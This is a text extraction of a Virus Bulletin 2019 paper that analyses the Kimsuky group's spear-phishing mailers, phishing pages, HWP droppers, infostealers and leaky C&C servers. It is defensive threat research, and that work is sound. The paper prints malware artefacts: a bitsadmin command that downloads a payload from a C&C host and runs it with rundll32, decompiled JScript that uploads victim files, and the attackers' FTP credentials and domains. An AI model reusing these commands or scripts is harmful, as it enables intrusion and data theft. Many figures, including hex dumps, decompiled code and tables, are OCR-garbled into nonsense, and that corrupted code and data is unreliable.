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Abstract

The Kimsuky group is a threat group that is known to have been behind the KHNP (Korea Hydro & Nuclear Power) cyber

terrorism attacks of 2014 and is still active in 2019.
Since 2018, we have been profiling and tracking spear-phishing emails and malicious code related to the Kimsuky group.

The spear-phishing emails used by the group have been determined to have the purpose of stealing web portal account

information and delivering malicious code. The main targets are government and military officials, as well as journalists.

We have analysed the changing behaviour of the Kimsuky group through ongoing tracking of the IoCs related to Kimsuky,

including simple account hijacking.

In this paper, we present the results of an analysis not only of the malware used by the Kimsuky group but also of server-

side samples (tools and templates that send out spear-phishing emails, like a phishing rod) which we recently investigated.

We have also confirmed that the C&C server used for the earlier attack continues to be used for various purposes, such as

distribution of malicious code, logging of infections, and sending phishing mail.

1. Introduction

In September 2013, Kaspersky Lab announced an APT attack targeting major Korean agencies [1]. According to the data,
the Kimsuky group was using malicious Hangul documents, like other attack groups targeting Korea, and the attack featured
remote control tools (such as Team Viewer) and communication channel configuration using webmail. In February and
March 2014, attacks that seemed to have been carried out by the same group against Korean public institutions continued to

occur [2].

In December 2014, an attempt was made to destroy PC disks by sending 5,986 spear-phishing emails to 3,571 employees of
Korea Hydro & Nuclear Power Co., Ltd. However, only eight PCs were infected with malware, of which five hard disks

were initialized.

The malware used in this spear-phishing attack was similar in structure and operation to the malware used by the Kimsuky
group, and the Hangul word processor vulnerability used in the malware was the same as that used in the Kimsuky malware.
From these results, we inferred that the focus of the Kimsuky group was on social confusion and monitoring of North

Korean defectors and politicians, rather than acquiring money.

In June 2015, a number of web portal email accounts were hacked, sending emails with malicious Hangul document files
and phishing emails to steal portal account credentials. In January 2016, a large number of emails with malicious
attachments were sent under the guise of ‘Office of National Security at the Blue House’ to government research institutes.

Analysis by related organizations identified the malicious attachment as Kimsuky malware [3].
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2. Related cases

In January 2019, an email suspected to be carrying malicious code was sent to dozens of journalists, most of whom were
covering South Korea’s ministry in charge of relations with North Korea, prompting an investigation into the incident. The
email, which was entitled ‘TF reference info’ and had a compressed file attached, was sent to more than 70 reporters, most
of whom were members of the unification ministry’s press corps. It was sent through a private email address from a person
named ‘Yoon Hong-geun’. The ministry suspected that it contained malicious code designed for hacking [4]. This issue was

known variously as Operation Cobra Venom [5], Operation Kitty Phishing [6] and Operation Kabar Cobra [7].

3. Toolset characteristics

In the process of tracking the Kimsuky group, we were able to acquire the mail-sending tools and malware used in various
spear-phishing attacks. The attack tools used by the Kimsuky group can be broadly categorized into server-side toolkits and

malware.

Server-side toolkits
Mailer (shape & core), beaconer, phisher, logger

The Kimsuky group created a mailing toolkit for attack and used it repeatedly. We found that, when constructing phishing

pages for account takeover, they reused the existing source code of the original site and specific arguments in the URL.
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Figure 1: Daum portal phishing page.

Malware
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Dropper (malicious or camouflaged HWP documents), script, infostealer

The malware used by the Kimsuky group in recent spear-phishing attacks includes a dropper that is a malicious or
camouflaged HWP file; a malicious script, which logs and downloads additional malware to the C&C server; and an

infostealer. Some infostealers have a module that downloads additional malware.
Examples of the flow of malware used in spear-phishing attacks are shown in Figure 2.
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Figure 2: The flow of malware used in spear-phishing attacks.

A classification of the attack tools used by the Kimsuky group is shown in Table 1.

Name No. Type Details
Mailer (shape) 1 Mailer Mailer (just shape)

Mailer (actual function)
Mailer (core) 2 Mailer 1) Attachment of malware

2) Link to phishing page for account hijack
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Beaconer 3 Web beacon Beacon to check whether mail is being viewed
Phisher 4 Account stealer, phishing Phishing toolkit(lod) phishing page for account stealing
Logger 5 Logging, phishing Logging of phishing target information
Malicious HWP 6 Dropper, spear phishing Malicious HWP documents
Camouflaged o
HWP 7 Dropper, spear phishing Camouflaged HWP documents (e.g. sfx, exe)
) ) Downloads additional malware and logs (e.g. *.vbs, *.wsf,
Script 8 Downloader, logging
* jse, *.psl)

C&C, DLL, downloader, Steals information from infected target and downloads
Infostealer 9

FTP logging additional malware (in some cases using FTP)

Table 1: Kimsuky toolset.

4. Tracking malware and monitoring C&C servers

Attacker # defender: OpSec failures

The attacker and defender are on different sides [8]. In addition, an attacker who continues to attack does not have a good

understanding of defence. There can be a difference between an attacking position and a defending position.
After all, attackers are also in the position of developing malware and server-side toolKits.

Attackers who develop various attack tools are in the same position as those in general development. While working within
a limited timeframe and with limited resources, information leakage and vulnerabilities can occur naturally due to code

reuse or C&C server operation mistakes.

In the course of investigating and analysing the C&C server, several security weaknesses were discovered, which provided

us with good information for investigation and tracking. We will look at the following cases of OpSec failure:

1. Directory listing
2. Leaked FTP access information

3. File download vulnerability
OpSec failure case 1: Directory listing

Case 1.1: After DOKKAEBI campaign: H-DS (distribution) type

Name No. Type Details
Malicious HWP 6 Dropper, spear-phishing Malicious HWP documents

. . Downloads additional malware and logs (e.g.
Script 8 Downloader, logging
*.vbs, *.wsf, *.jse, *.ps1)

Table 2: Related toolset.
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Profiling of Malicious Hangul Files

» Classification - 4) Distribution
» Shellcode

01209£30 | 24 12 24 12 24
01209£40 | 24 12 24 12 24
01209£50 | 24 12 24 12 24
012059£60 | 36 52 53 55 31
01209£70 | 90 75 £9 Bb da
01209£80 | 2c 41 cD 0 04
012059£90 | 0a 41 66 81 £9
01209£fa0 | 4d 4d 4a 45 4a
01208£b0 | 53 42 59 S50 50
01209£c0 | 4d 41 4a 41 4a
01205£d0 | 4a 41 4b 41 4a
01205f=0 | 37 47 56 50 59

Figure 3: Profiling of malicious Hangul files.

24 24
Oc
24
80
Ba
ad
59
4b
55

50
24

4a
da
4c
59
56

55 55

12 24 12 | $.5.5.5.5.5.5.5
12 24 12 | §.5.5.5.5.5.5.%
90 90 57 | $.5.5.F.uuucans W
Ba 02 3c | VREUQ3..5.5.B..<
BEa 04 4a L i Teialbund
4a 00 04 | ;A....... DJ.,J
4d 53 44 -Af. .g.r.JJDMMSD
4d 4b 50 | MMJEJFMAYELFUMEP
44 52 41 | SBYPPMEARAYTODRA
4f 56 41 | MATAJTFOIUCVIEOVA
45 53 4a | JAFAJAJEMFPFQIST
50 56 44 | WEGVEPYPYPYOUGNEVD
=1~} Root Entry
-7 BodyText
=] Sectiond
-7 DocOptions
_LinkDac
) Seripts
Default/Script
JScriptViersion
Sectiond
|HwpSummaryinformation
Docinfo
FileHeader
[] Prvimage
PrvText

VIrus

BULLETIN

58/133

Following the DOKKAEBI campaign, malicious Hangul documents were continuously analysed [9]. During this process,

we tracked a C&C server (suppcrt-seourityl.]esy.es) and malware related to malicious Hangul documents.

The file name of the malicious Hangul sample uploaded to VirusTotal on 23 May 2018 (shown in Figure 4) is ‘S & A
O1.hwp’ (‘Declaration of war end’) [10].

21

DETECTION

Submissions

Date

2018-05-23 00:52:17

Figure 4: Malicious Hangul sample = 7 A1 21.hwp.

(1) 21 engines detected this file
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The overall flow of the sample is as follows [11].
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d Hwp.exe "C\5f2ac8672e19310bd532c47d209272bd7507569 6deabffcc47d1d37f18aff141.hwp" (PID: 5800)
| ® 1 HimTraylcon.exe (PID: 6092) & | [0 Hash Seen Before
~ [ notepad.exe (PID: 3908) @
L i regsvr32.exe /s "%TEMP%\core.dll" (PID: 4020) @
B ]wscript.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\fontchk.jse" (PID: 3904) 4

Figure 5: Sample flow.

Name No. Type MD5
‘Second Road to Go: Building a Peace System Initial
1 8332be776617364c16868clad6bdefe?
for Unification’ dropper
DLL
core.dll (OneDIl.dll) 2 4de21c3af64b3b605446278de92dfff4
(dropper)
fontchk.jse 3 Script f22dble3ea74af791e34ad5aa0297664
brid.ige (zerodll.dll) 4 DLL 2FB20830564AC781AFB7D5F422BECFC9

Table 3: Malware.

The malware fontchk.jse records the infection information (date, time, IP address, MAC address, etc.) in the path
[C&C]/update/fonts/log.txt, as shown in Figure 6. In this way, the files (including the malware) and log files that exist on the

C&C server can easily be obtained.

(0 suppcrt-seourity.esy.es/update

Index of /update

s Parent Directory
s 77a.exe
» boot

« fonts/
» templates/

(i) suppcrt-seourity.esy.es/update/fonts/log.ta

2018-05-30 00:22:24 - 185,220, -8
2018-05-30 00:22:32 - 185.220. - pe
2018-06=04 06:28:02 - 112.218. - pe
2018-06=04 06:28:07 - 112.218. - pp

Figure 6: Fontchk.jse records the infection

information in the path [C&C]J/update/fonts/log.txt.

Since a lot of resources are required to build and verify (check the actual operation of) the C&C servers used by attackers,
we monitor them continuously, based on the assumption that they are likely to be recycled (reused) rather than being used

once and then destroyed.

A new log was recorded on the C&C server on 2018-07-10 (D+49), leading us to conduct further investigation and analysis.
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2018-07-10 02:41:10 - 183.101. - c
2018-07-10 02:41:15 - 183.101. - e
2018-07-10 02:41:17 - 183.101. = £
2018-07-10 02:41:20 - 183.101. - C485088E 00106,1,7601,64
2018-07-10 03:01:21 - 183.101. - C485088E 00106,1,7601,64

Figure 7: New infection log.

The C&C server leaked its directory listing and didn’t have proper access control, so it was possible to check the remaining

logs following an infection.

MAC Address Prefix C48508 C4-85-08 C4:85:08

Manufacturer Intel Corporate

Figure 8: MAC address look-up [12].

Previously, we analysed C&C servers, and we saw that the MAC address is used as the directory path. Using this

information, we were able to obtain additional malware by using the MAC address written in the infection log.

Name No. Type MD5 Details
zerobase 1 Binary = 53ac231e8091abcd0978124f9268b4e4 ~ XOR encoding
HanyangUpload_script.dll XOR decoding -
2 DLL 8b59ealee28e0123da82801abcOccedd
0x09FD8477
cac.wsf 3 Script fa2ffcd70fba43dd0653a0ec87863d8a File upload to C&C server

Table 4: Malware obtained using MAC address C485088EXXXX.

@ suppcrt-seourity.esy.es/update/fonts/C485088E
Index of /update/fonts/C485088E

« Parent Directory
= zerobase
Figure 9: Tracking the C&C server and

discovering new malware zerobase (not found in VirusTotal).

We confirmed that zerobase (MD5: 53ac231e8091abcd0978124f9268b4e4) had four-byte XOR encoding (key:
0x09FD8477), and a PE file was obtained through decoding, as shown in Figure 10.
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HEX ~

[ nul preserving

v
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length: 419327
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loaded: 2
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Figure 10: The file had four-byte XOR encoding (key: 0x09FD8477) a PE file was obtained through decoding.

The original DLL name identified in the four-byte XOR-decoded malware is HanyangUpload_script.dll.

.rdata:100822FES8
.rdata:10022FES8

.rdata:10022FE8 word_10022FE8

.rdata:10022FEC
.rdata:108022FEC
.rdata:100823805
.rdata: 10023005

.rdata:10023017 aGetname

; Export Ordinals Table for HanyangUpload_script.dll

aHanyanguploadS db
aDllregisterser db

db

Figure 11: HanyangUpload_script.dll.

dw 0, 1

; DATA XREF:
'HanyangUpload_script.dll',®

5 DATA XREF:
'D11RegisterServer',®

.rdata:10022FD4t0
.rdata:18022FBCto

DATA XREF:
DATA XREF:

.rdata:off_10022FE@t0
.rdata:off_10022FE@t0

hew tma

'GetName',@

The function of the malware (HanyangUpload_script.dll) is as follows:

1. Collect information from infected computers.

if ( GetAdaptersInfo(BAdapterInfo, &SizePointer) )

goto LABEL_2@;
v@ = &AdapterInfo;
while (1)

{

memset(v1g, @, @x184u);
vl = &vi-»GatewaylList.IpAddress;

do

{

v2
vl

(vi+ 1);

v1=»String[@];

LLABEL_2@:
if ( GetVolumeInformationA(
"C\\",
VolumeNameBuffer,
8x104u,
&VolumeSerialNumber,
&MaximumComponentLength,

v1->String[VolumeNameBuffer - &vB->GatewaylList.IpAddress '

while ( v2 );

vsprintf_100018F0(

vis,

"HDZYXA2XEO2NEO2NED2XXAZY" ,

vi->Address[@],
ve->Address[1],
vi-»Address[2],
vi-»Address[3],
vi->Address[4],
vi->Address[5]);

if ( !strstr(viB, "00060000") )

&FileSystemFlags,
8,
8) )
v3 = VolumeSerialNumber;
}
else
{
v8 = GetTickCount();
vl = rand() * v8;
VolumeSerialNumber = v9;

}
vsprintf_1000193@(&ComInfo_1082E90@, 16, "%X", v9);
result = 1;

}

Figure 12: Collecting information.

2. Scan specific files.
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Length String
Adepeasc
LLLT
Aoepeasc
BeeppacE
BeeppasF
2eeppa7a
BeRRRAGE
BeRRRAG63
2eanpa7a
ARRBRAGT
LLLEELE
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BROBBAEE
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2e0ppa4F
2200DA6A
22Rapa6a
2eeppa69

H

AN N 0000
s NaEa xRl

Figure 13: Scanning files.

C:\\Users\\Insoo.Jeong\\Documentsi\1
C:\\Users\\Insoo.Jeong\\Documentsi\1
C:\\Users\\Insoo.Jeong\\Documentsi\1
C:\\Users\\Insoco.Jeong\\Documentsi\1
C:\\Users\\Insoo.Jeong\\Documentsi\1
C:\\Users\\Insoo.Jeong\\Documentsi\1
C:\\Users\\Insoo.Jeong\\Documents\1
C:\\Users\\Insoo.Jeong\\Documentsi\1
\\Users\\Insoo.Jeong\\Documentsi\1
\\Users\\Insoo.Jeong\\Documentsi\1
:\\Users\\Insoo.Jeong\\Documentsi\1
\\WUsers\\Insoo. Jeong\\Documentsi\1
\\Users\\Insoo.Jeong\\Documentsi\1
\\Users\\Insoo.Jeong\\Documentsi\1
C:\\Users\\Insoo.Jeong'\Documentsi\1
C:\\Users\\Insoo.Jeong\\Documentsy\1
C:\\Users\\Insoo.Jeong\\Documents}\1
C:\\Users\\Insoo.Jeong\\Documents}\1
C:\\Users\\Insoo.Jeong\\Documents}\1
C:\\Users\\Insoo.Jeong\\Documentsy\1
C:\\Users\\Insoo.Jeong\\Documentsy\1
C:\\Users\\Insoo.Jeong\\Documentsi\1
C:\\Users\\Insoo.Jeong\\Documentsi\1

Documentsi\Dirll
Documentsi\Dirll
Documents\\Dirll
Documentsh \Dir@d
Documentsh\Dirll
Documentsh \Dir@d
Documents\\Dir@d
Documents\\Dir@g
Documents\\Dir2
Documents\\Dirll
Documentsh\Dirll
Documents\\Dird3
Documentsi\Dirll
Documents\\Diréd
Documents\\Diréd
Documents\\Dird
Documents\\Dir8d
Documents\\Dired
Documents\\Dirll
Documentsi\Dirll
Documentsy\Dirll
Documentsy\Dirll
Documentsy\Dirll

Mew Life\\NICN\\NICN 2017%\Peace Man List.hwp

Mew Life\\NICN\\NICN 2@17%\Peace Men in the Country.p
New Life\\NICN\\NICN 2@17\\Peace men Pictures
Personal\\EH S 28 HAS\\20120 SSALSED (NS
New Life\\F4R2 FFEVNAIHAY 20 AR hwp
Personal\\My Ministry Partners\\Z ¢l @ AtS} S8AL
Personal\\My Ministry Partners\\A}SS 2|3 Ohpof &
Personal\\My Ministry Partners\\QIL}OF#E ALEHE . hwp
Message\\Message Pre Data\\2&3} §H 12|17 2ay
Wew Life\\From David Alton OJEf4 A2 e} SEAMTE.
New Life\\NK APSr8rat AP 27H($E223]).wp
Wongo\\M R A HIWEF DS ZM[HDT HEH D hw
New Life\\FAED} FEEVWWK Team A H £ St .d
Personal\\EH 228 TA|E\\201400 20 &0 hw
Personal\\EH 228 WAIF\WE=28d 02 BA|.wp
Personal\\EYH 228 MAIFWE8HHE 2012E (4 ) .h
Personal\\E'H 288 WAISWHAHSUH A= 2H|F
Personal\\EH 228 A S\HH|SOH hwp

New Life\\B SRJoflAM Lhel HAJR[2E Zol\\AMS S 1,
Mew Life\\NK O]AMZ| 16.10.pptx

New Life\\NKTH7 |- FUAF HEIALL HYIHALRY.
New Life\\2{AJO} Hafl: HE AlZ(HZF2A).wp

New Life\\QI2 A8 DHU\\NK 2 AP R T4 (Non-Field)

3. Upload files (AllList_[MAC Address] YYMMDD_HHMMSS) to the C&C server using a script (cac.wsf)

strepy(&vE, "ac.wsf");
* wsf = **C:\\ProgramData\\cac.wsf";
memset(&v9, @, 8xEDu);
memset{&vo, @, 8xlodu);

= fnpen(

it (v2)
{

fclose(vi);

fwrite(a¥mlPackagelobl, 1u, 2298u,

D H

Enc_File_10002280(a1);

vsprintf_10@81938(&v6, 268, "/filepath:\"¥s\"",

Print_Debug_18@@2618("Start Send");

memset (& » 8, 8x3Cu);
.chSize = 68;
.1pFile = wst;
.fMask = 64;

. \pParameters = &vG;
.lpVerb = “"open";
S H

fo);

var strPath

)i

hPrucess, Bx92708u) ;

'H

HttpUpload(strPath,

//WScript.Echo

sults);

1 akmlPackagelobl db '

db ‘<sc

db %,

K Taml7>', 80N, BAh

ﬁl‘h @kh
‘sydAMDhr L 270, '3, B0, B8R

language=",2Th, ' JSl:rl.lt 227h, " »<I[CDATAL ", B0h, 8Ah
ction my r|_|n x) { 2 B0h, BAR

db 9,9, return x.replace(/~\s+}\s+$/gn, ", 27h,27h, ' ); ", 00h, Bah

db ,°

" ,80h, B4h

db B0h, #ah

db &, " function HttpUpload(silocalFile, sPhplrl)’,e0h,8h

db %,°{",@0h,BAh

db 9,9, var xhr = new ActiveXObject(“WinHttp.WinHttpRequest.5.17);",80n0

db Bah
db &0h, Akh
db 9,9, var ingutStream = new ActiveXObject(',27h, "ADDDB.Stream’',27h,')’
db '; *,00h,80
db inputStrean.Open(); *,a0h,BAh
db inputStrean. Type = {1 edTypedd nary ' B0h, AR
db inputStream. LDadFloTlFlle sLocalFile) ;' .@0h, Bk
db 9,9, 'var dom = new ActiveND "Msxml2. "D"Dr; cument. 3.8 ; °,80h, Bh
db 9,9, var elem = dom.c ", aDh, Bih
"elem. d alaTy'u-
;' ,@0h, Bk
n" ;" , B0k, BAh
4cddF2edar”;’ FJ"h aah

db '} '3, sheq 'lmler‘r = 3

;" @Dh, Bkh
"|n,.1l|n| form-"

+ sBoundary + "
stheader + "Content

50
db ‘data; name=\"binary\"; filename=\"" + slocalFile + "\"\rin";",00h

db Bah

db 9,9, ' sRequestteader = sRequestHeader + “Content-Type: application/’

cript.Arguments.Named. Item(
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Figure 14: Uploading files to C&C server.

Case 1.2: Malware camouflaged as HWP documents

Name

Mailer (shape)

Mailer (core)

Beaconer

Camouflaged
HWP

Script

Infostealer

=

Table 5: Related toolset.

Type

Mailer

Mailer

Web beacon

Dropper, spear

phishing

Downloader,

logging

C&C, DLL, FTP

Details
Mailer (just shape)

Mailer (actual function)
1) Attachment of malware

2) Link to phishing page for account hijack

Beacon to check whether mail is being viewed

Camouflaged HWP documents (e.g. sfx, exe)

Downloads additional malware and logs (e.g. *.vbs, *.wsf, *.jse,
*psl)

Steals information from infected target and downloads additional

malware (in some cases using FTP)

Among the tools described above, this malware is camouflaged as an HWP document [13].
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o [gor [ AHE [ 0F HE ]

E f7d2780bc Tbb24d 7525012a566a37c5, scr
I &4 311 BB TI( scn) Member Value
A9 f1d2780bc Tbb24d 7525012a566a37cE, scr ManifestVersion 10
o155 ¢ ..
Al CitUsersWiEUserWDeskiop Acsarmbhddantihe
0|E 'ﬂz-'?- E"_"l %E E‘_"‘. EI'QE ';g_"gr ‘T‘EEJ E}F-l' kﬁflnRAR SFX
[d 1.hwp 308,980 322560 stHURmMA sk 2019-03-07 2= 6:03:26 ~ing2
_.'311.\4}5 2,019 4759 WBScript 23.. 2019-02-28 2= 4:05:48 =
1.0.00
x 2% ORNK RS #(SFX) ASEE BN ZEEH LU&UICH G
- i ture ol
etup=1.hwp ta 42
Setup=wscript.exe 1.vbs 6595b64144ccfld
Temphode
Silent=1
Overwrite=1
asInvoker
Figure 15: Malware camouflaged as an HWP document.
Name No. Type MD5 Details
111.scr 1 SFX 10a120f573874c2af6b9172a26fdc597  Camouflaged as HWP documents
1L.hwp 2 HWP  ae5ddda3749dcd72bc6cf6d658c5e31c = Normal HWP
1.vbs 2 Script ~ 0718bfc5957758d22af02e726cb25fe3  Base64 decoding = psl

) Additional malware download (C&C:
Powershell =~ 3 Script ~ fa2ffcd70fba43dd0653a0ec87863d8a
primary-help[.]esy.es)

Table 6: Malware.

At the time of analysing the malware, additional malware was downloaded from the C&C server.

tring F y )i
l::PtrToStringAuto($B ) —replace 5 _tmp_;
cmd.exe fc bitsadmin /transfer notepadework /download

. fpriority normal http://primary-help.esy.es/Est/down/IEReinstal.a
1 . C:\Users\IEUser\AppData\Local\Temp\typsnsros. txt

cnd.exe fc rundl132
C:\Users\IEUser\AppData\Local\Temp\typsmsros.txt, EntryFuncl

Figure 16: Additional malware being downloaded from the C&C server.

As in the previous case, we continued to monitor the server, based on the assumption that the attacker would reuse the C&C

server they had built.

As a result of our continued monitoring, we confirmed that a new file was uploaded to the C&C server on 2019-04-01

(D+42) and conducted further investigation and analysis.
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Apr 1st at 10:02:54

#01-change-c2 annel

Index of / APP 10:02
N Kimsuky C2 - http:/primary-help.esy.es/

mail.php
Figure 17: Mailer (shape): mail.php.

The C&C server (primary-help[.]esy.es) is also a directory listing as shown in Figure 8.

We checked that the new files, mail.php and mail_ok.php, were uploaded to the C&C server.

® #F2 28 primary-help.esy.es
Index of /

« mail.php
« mail_ok.php

Figure 18: The new files were uploaded to the
C&C server.

We confirmed that these files are tools for sending mail (i.e. mailers).

If we enter the sender and receiver information (name/email), title and contents and select ‘COMMIT’, then we can confirm

that mail.php is a mailer — the actual operation is performed by mail_ok.php.
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‘ a i ® 2 88 primary-help.esy.es/mail.php

SAXIOIE  somu <= Sender Name

SAXOIHY &amomu <= Sender Email
$AMXO|I®  [sumos <= Receiver Name
FARIOIHY +imojor <= Receiver Email

He T <= Title
<= Contents

LH&

e

ey mY Y suEmEds <= Attachments
COMMIT

DOCTYPE htm
<html lang="ja">
<head>
<meta charset="utf-8">
<META http-equiv="Content-Language" CONTENT="ja">
<meta name="product" content="Metro UI CSS Framework">
<meta name="description” content="Time-Space c€ss frameWwork">
<meta name="author"” content="Time-Space">
<meta name="Keywords" content="J]s, C€ss, metro, framework, windows 8, metro ui">
</head>
<body>
<form method="post" name="frm" id="frm" actmn: enctype="multipart/form-data”
<table>
<tr>
<td>&LX0|B</tad>
<td>
<input type="text" name="from_name" 1d="from_name" placeholder="&4X}H" size="35" >
</td>

Figure 19: Mail.php is a mailer. The actual operation is performed by mail_ok.php.

When using the mailer, the mail was indeed sent the normal way, but with new malware attached.
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m |E_ http://primary-help.esy.es/mail. php
—— —————— T — ———

w BAR7| |33 &) F M0IE v @] Web Slice Gallery v
| —

J @ hitp//primary-help.esy.es/mail php

SUR0IS  sender
ELIAL0I MY sender@gmail com
FAUROIE  recy
A ROIME jack2@fsec. or ke
M= send 2 recv
Hello ~_ R
L=

yFme

s HEEAE
28| |~%3| [v0R43 | [x 44| |EAT% | | MIHNEE | (9E| [RHY)

HE send 2 recy

ALt |- sender <sender@gmail.com>
A recv <jack2@fsec.orkr>
L e 2019-04-01 11:13:03
AR & 2w 2019-04-01 11:13:03
2t HRO 171(497.64KB)

+ ﬁ A|ALE|.zip (497 64KB)
Figure 20: The mail

was sent normally and new malware was attached.

In addition, we confirmed that the web beacon was applied to check whether the mail was read, using reading.php defined in

the <img> tag in the mail sent by the mailer.
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ft" width="3"
ft" width="17" height="25

valign="middle"

Figure 21: The web beacon was applied to check whether the mail was read.

OpSec failure case 2: Leaked FTP access information

Name No. Type Details
Mailer

1 Mailer Mailer (just shape)
(shape)

Mailer (actual function)
Mailer (core) 2 Mailer 1) Attachment of malware

2) Link to phishing page for account hijack
Beaconer 3 Web beacon Beacon to check whether mail is being viewed

Account stealer,

Phisher 4 o Phishing toolkit(lod) phishing page for account stealing
phishing
Logger 5 Logging, phishing Logging of phishing target information
Script 8 Downloader, logging = Downloads additional malware and logs (e.g. *.vbs, *.wsf, *.jse, *.ps1)

Steals information from infected target and downloads additional
Infostealer 9 C&C, DLL, FTP
malware (in some cases using FTP)

Table 7: Related toolset.

Among infostealers used by the Kimsuky group, some samples have been found that use FTP to download additional

malware after logging infected targets to the C&C [14, 15].

The malware uses the Hostinger free hosting service as a C&C server, and there is a security weakness in that the account

(u428325809 ) and password (victory123!@#) used for FTP communication are exposed in plain text.
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u14(= Inte;netUpenA(“User—h@ent: Mozilla/5.@ (Windows NT 6.1; WOW64; Trident/7.8; rv:11.8) like Gecko", @, @, 8, 8);
if Ivig
return @;
v15 = InternetConnectA(v14, &szServerName, @x15u, szUserName, szPassword, 1lu, @x8000000u, @);
vl = v15;
if (v15)
{

if ( FtpSetCurrentDirectoryA{v15, “log") )
if ( FtpGetFileA{v16, lpszRemoteFile, lpszNewFile, @, @, 0xB80000002, @) )

vae = 1;
FtpDeleteFileA{v16, lpszRemoteFile);
}

ready.
ﬁSER u4233258@§

ired for u428325809

logged in
CWD log
250 CWD command successful
TYPE I
200 Type set to I
PASY

227 Entering Passive Mode (185,224,137,164,140,72).
SIZE 7cd9e@eb_IlEUpdatebtd
550 7cd9e@eb_IEUpdate6d4: No such file or directory
RETR 7cd9e@eb_IEUpdateb4d
550 7cd9e@e6_IEUpdate64: No such file or directory
Figure 22: The account
(u428325809 ) and password (victory123!@#) used for FTP communication are exposed in plain text.

The same (or similar) FTP account information was identified in the other malware found after this malware (2019-04-03).

USER u487458083. oeks39402. BIGn. con] 220 FIP Server ready

equired for udB7458083. oeks30402.890m. com [USER 1487458083 . vkexvkweo-96. 1]
PASS rhdwnlll 8 Password required for u4B7458083.vkcxvkweo.96. Lt
238 User u4B7458083.0eks30402.890m.com logged in
WD InstF 230 User ud4B87458083.vkcxvkweo.96.1t logged in
258 CWD command successful CHNRESKE
250 CWD command successful
TYPE I TVPE 1
200 Type set to I 200 Type set to I
PASV PASY
227 Entering Passive Mode (153,92,6,159,148,4). 227 Entering Passive Mode (153,92,6,159,138,283).
SIZE ChromInst STOR retry :
55@ ChromInst: Mo such file or directory 158 Opening BINARY meode data connection for retry

RETR ChromInst 226 Transfer complete

558 ChromInst: No such file or directory

MD5: 0b65e37a40261232dd93f472933fb72
MD?5: f38a8ba888c5732236a5e0653826a267

Figure 23: The same or similar FTP account information was used.

C&C Date Login ID Password Details

user-daum-center[.]pe.hu @2019/04/03  u859027282  victoryl23!@#  Same password (1)
user-protect-center[.]Jpe.hu @2019/04/09  u428325809  victoryl23!@#  Same password (1)
nid-protect-team[.]pe.hu @2019/04/17 1621356999  victoryl23!@#  Same password (1)
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0eks39402[.1890m.com @2019/05/15 = u487458083  rhdwnlll Same password (2) same UID

nid-management- .
@2019/05/16  ul42759695  victoryl23!@#  Same password (1)
team[.]890m.com

Similar password (1) same

naiei-aldiel[.]16mb.com @2019/05/27  u487458083  Victorious! @# UID

vkexvkweol.]96.1t @2019/06/07  u487458083  rhdwnlll Same password (2) same UID

Table 8: Leaked FTP authentication information.

The FTP account information used in the malware can expose the C&C server to attacks. The string ‘victory’ used in the

password has also been found in the b374k webshell used by the Kimsuky group.

& b374k

Figure 24: The b374k webshell.

OpSec failure case 3: File download vulnerability

Name No. Type Details
Mailer

1 Mailer Mailer (just shape)
(shape)

Mailer (actual function)
Mailer (core) 2 Mailer 1) Attachment of malware

2) Link to phishing page for account

Malicious Dropper, spear
6 Malicious HWP documents
HWP phishing
) Downloader, . )
Script 8 ) Downloads additional malware and logs (e.g. *.vbs, *.wsf, *.jse, *.ps1)
logging
Steals information from infected target and downloads additional
Infostealer 9 C&C, DLL, FTP

malware (in some cases using FTP)

Table 9: Related toolsets.

We captured the situation where the mailer and attachments used the same C&C server (member-authorize[.Jcom) when the

Kimsuky group also sent attachments with spear-phishing emails.
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Yt MLk 17 (15KB)

v | [ 20190312 Y2 B YUEEHEH hwpI5KE)

SS0H12} 0|ZF AFRULICL
A2 $REe|L Y Fasteh|o”

http://member-authorize.com/security/

downloads/download.php?

fileName=20190312%20%EC%9D%BC%EB%B3

%B8%20%EA%B4%80%EB%A0%AB%20%EC%9
D%BC%EC%9D%BC%EB%8F%99%ED%96%A5 (

%EC%99%84).hwp

Figure 25: The mailer and attachments used the same C&C server (member-authorize[.]Jcom).

The C&C server had directory listings enabled, and there was a file download vulnerability in download.php, the file used to

downloaded the .hwp attachment.

< = C O o at

rmember-authonze.com/security/downl

¢ Parent Directory

s download.php

Index of /security/downloads

o 20190312 Z= e A= SH2H.hwp
20190312 _Japan-related daily trends(FN).hwp

Figure 26: Index of the

/security/downloads directory on the C&C server.

Name No. Type
1234.eml 0 EML
20190312_Japanrelated

HWP
daily trends(FN).hwp
Powershell 2 Script
1.wsf 3 Script

Encoded
Romanic.fm 4

PE
Romanic.ft 4 RAR

MD5

b90ed8fe3160ce49d69d000b1005c0c5

abafaOcbfbe18afe6dd635d14e7d03d3

6d73e394762022f3cc426b0a37c4e694

e3dcfd19a6054f7b436b09e8eadf37a5

9d453684e78ae95b0833c16ef8df6c4f

da2eefeb7ff5a13c0d890d4cccOe35el
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Details
Spear-phishing email

Malicious Hangul documents

(malicious postscript)
GET ddlove[.]kr/bbs/data/1

(a) Set var (b) Check Extract Util —
WinRAR / ALZip (c) Check response
(d) Save file & extract (e) or Save file
& decode (f) Execute file

Base64 encoding

Extract P/W: 201811
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Freedom.dll 5 PE 05075cb9a05d0cce7263842c43f5cf8b
Encoded

ariaK_XXXXXXXX 6 PE €8d9d604615bd85862dce00bd8121b92

OnlyFileList.dll 7 PE cd5bee99bcael2dald92cd252f30bd86

Table 10: Malware.

The attacker has built a mailer in the path of the name of each phishing target.

€ - C [ ® #° 2% member-authorize.com/security/mailer/

Index of /security/mailer

« Parent Directory

» daum/ DAUM: Major portal website in korea

» kinu/ KINU: Korea Institue for National Unification
« naver/ MNAVER: Major portal website in korea

o org/

Export name: GrapHouse Check Env
(32/64) 64bit : /bbs/data/font/exts.fmt
Process Hollowing (explorer.exe) -
[SND]: /register.php?
WORD=com_XXXXXXXX&NOTE:=
[GET]:
/bbs/data/ariaK[T]_XXXXXXXX -
[DEL]: /join.php?file=

XOR TABLE encoding

Export name: GrapHouse
FileUpload(AllList_[MAC
Address]_YYMMDD_HHMMSS) to
C&C server

Figure 27: Phishing targets include

Daum, KINU and Naver.

The mailer was found on the C&C server just as in the first OpSec failure case.

Page 19 of 24



https://www.virusbulletin.com /virusbulletin/2020 /03 /vb2019-paper-kim suky-group-tracking-king-spearphishing/

€& 5 2 O #2 88  member-authorize.com/security/mailer/kinu/account_authentication/

Index of /security/mailer/kinu/account_authentication

» Parent Directory
« mail.php
« mail ok.php

& o

T2 A | rembe-asthorm o

a

AT E
SHLNHY FuT
SUENE
SHAAW [ Fumoma
HE 3

W

e

 ohdnids BUY T WEHY SERLc

